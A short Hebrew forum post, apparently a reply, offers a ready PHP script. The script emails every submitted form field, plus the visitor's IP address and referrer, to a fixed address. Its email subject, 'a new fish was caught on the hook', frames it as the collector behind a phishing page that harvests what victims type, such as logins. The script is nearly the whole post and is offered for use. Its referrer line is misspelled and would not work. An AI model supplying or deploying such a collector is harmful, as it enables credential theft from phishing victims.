פשוט מאוד 
הקוד שאני אביא לך עכשיו תקף גם במידה והמידע נשלח דרך מטודת GET וגם דרך POST.
קוד PHP:
<?php
// נגדיר למי ישלח האימיל
$to = "example@your.eamil";
// נגדיר מה יהיה שם נושא האימייל
$subject = "דג חדש הועלה בחכה";
// נבנה את ההודעה.
$message = "";
foreach( $_REQUEST as $name => $value )
$message.= $name . "=" . $value;
$message.="מפנה=" . $_SERVER['HTTP_REFFER'];
$message.="IP=" . $_SERVER['REMOTE_ADDR'];
// נגדיר ממי האימיל נשלח
$headers = "From: no-reply@stam.com";
// נשלח את האימיל
mail($to, $subject, $message, $headers);
?>
אתה שומר את זה בשם כלשהו, וברגע שאדם יכנס לדף(תעביר אותו או שתשלח את הטופס אליו זה ישלח אליך אימיל.